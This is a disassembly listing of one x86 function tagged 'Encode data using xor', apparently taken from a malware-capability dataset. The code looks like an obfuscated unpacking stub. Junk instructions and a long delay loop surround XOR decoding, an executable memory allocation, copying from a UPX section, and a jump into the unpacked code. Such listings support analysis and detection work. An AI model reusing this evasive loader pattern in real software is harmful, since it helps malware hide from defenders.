Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xc792da04
dec edx
and ecx, ecx
and edx, ecx
popal
sub edx, 0xdd81dcb
not edx
and edx, ecx
mov edi, 0
mov eax, ecx
sub esi, edx
inc edx
add esi, 0x201a4602
mov ebx, eax
sub esi, 0x705517f6
add edx, 1
and esi, esi
mov ecx, ebx
not edx
mov edx, esi
inc edi
dec edx
sub edx, esi
cmp edi, 0x1008dba
jne 0xa789c7
and edx, edx
add edx, esi
sub esi, 0xd9b0bc7b
dec edx
and edx, ecx
mov eax, 0xa78796
sub esi, 0x88ccebd0
sub esi, ebx
and ecx, ebx
mov edi, 0xa7898a
not ebx
dec esi
mov edx, dword [eax]
mov ebx, ecx
and ebx, esi
and edx, 0xff
sub ecx, ebx
dec ebx
xor dword [edi], edx
add esi, 0xff7d6b84
inc ecx
inc edi
inc ebx
or ecx, ebx
dec ecx
inc eax
and ecx, esi
sub esi, ecx
sub ebx, ecx
cmp edi, entry0
jl 0xa78a1c
sub esi, 0xcf9e1cd7
not esi
and ebx, esi
mov ebx, 0xc27204d2
sub ecx, 0x153aa912
add esi, 0x38cdcafb
add ebx, 0x6c69b764
mov edx, 0xa7898e
not edi
mov ebx, 0x90b9e90d
mov edx, dword [edx]
sub ecx, 0xa142ea38
sub ebx, 1
mov edx, dword [edx]
sub ecx, 0x6b514dd5
add edi, 1
dec edi
sub esp, 4
mov dword [esp], edx
sub esi, edi
add ebx, 0xa3e69783
mov edx, 0xa7898a
add ecx, esi
sub edi, 0x354dd116
mov edx, dword [edx]
add esi, esi
or edi, ebx
sub ecx, edi
mov edx, dword [edx]
mov ebx, 0x89fd98c5
not ebx
mov edi, esi
push 0xa78992
not esi
sub ecx, 0x589f6593
dec edi
call edx
and edi, ecx
dec ebx
sub edi, ebx
pop edx
sub ecx, 0x5af172e4
not edi
push 0xa7899f
add ecx, 1
sub ebx, edi
sub edi, ebx
sub esp, 4
mov dword [esp], eax
or ebx, ecx
dec ebx
call edx
add ebx, ecx
add ebx, esi
and ebx, ecx
push 0x40
mov ecx, ebx
add ebx, esi
mov esi, ecx
push 0x3000
sub esi, ebx
add ebx, 0x4acb1068
sub ecx, ebx
sub esp, 4
mov dword [esp], 0x20000010
sub ebx, esi
inc ebx
push 0
mov ecx, 0x82abc74e
add edi, 1
call eax
mov ebx, esi
mov ecx, 0x17334cc
not edi
add eax, 0x1fffff5c
or ebx, ebx
sub edi, 0xaf42f489
mov edx, 0xbcc383dd
sub ecx, edi
not ebx
mov dword [eax], edx
inc ebx
or ebx, ecx
or ebx, esi
mov edx, dword [eax]
mov edi, ebx
sub ecx, esi
cmp edx, 0xbcc383dd
je 0xa78b77
mov edx, 0
mov byte [edx], cl
add ebx, 0xc394b7c5
mov edi, ebx
sub ebx, edi
mov esi, 0x1beeb83
and edi, ebx
or ecx, edx
add ecx, edx
dec edx
mov eax, section.UPX1
dec edx
sub ecx, edx
mov ecx, edx
mov esi, 0xa78795
not edx
and ecx, edx
sub edx, 0xf9de67e8
mov ebx, 0
add ecx, ecx
not edx
add edx, 0x389f53
mov edi, 0xa78796
or ecx, edx
dec edx
dec edx
lea edi, [ebx + edi]
inc edx
sub ecx, edx
mov edi, dword [edi]
and edx, ecx
inc edx
add ecx, 0xbc4a14d0
and edi, 0xff
mov edx, ecx
or edx, ecx
inc ebx
mov ecx, 0xce559138
sub ecx, 0x177cbb8e
cmp ebx, 0x1f4
jne 0xa78bf2
mov ebx, 0
inc edx
sub edx, ecx
or edx, ecx
mov edx, 0xdeb03581
and edx, ecx
xor dword [eax], edi
add edx, 0xda334b4b
dec edx
dec ecx
add eax, 2
sub edx, 0x94b2d6c4
inc edx
add ecx, edx
cmp eax, esi
jl 0xa78bb5
add edx, edx
add ecx, ecx
dec ecx
sub ecx, edx
add edx, 0xa6ac5741
mov ecx, section.UPX1
sub edx, edi
add edi, edx
add edi, 0xc84eed0b
mov esi, section.UPX1
not edx
or edx, edx
mov eax, 0xa78795
add edx, edi
add edx, 0x967939b7
mov edi, 0x79acd5c9
mov ebx, 0
add edi, 1
mov edx, 0x46ca111b
sub edi, edx
mov bl, byte [esi]
and edi, edi
add edx, 0x6cc4afc2
inc edi
mov byte [ecx], bl
not edi
mov edx, edi
mov edx, 0x1e71b0e2
inc ecx
add edx, edx
or edi, edx
inc edx
add esi, 2
mov edi, edx
sub edx, 0x82e406ac
and edi, edx
cmp esi, eax
jle 0xa78c68
sub edx, edi
or edx, edi
mov edi, edx
or ecx, edx
add edx, 0xd9b8374f
mov ecx, 0xfddbee74
push 0x8dc6a0
sub edx, ecx
not edx
ret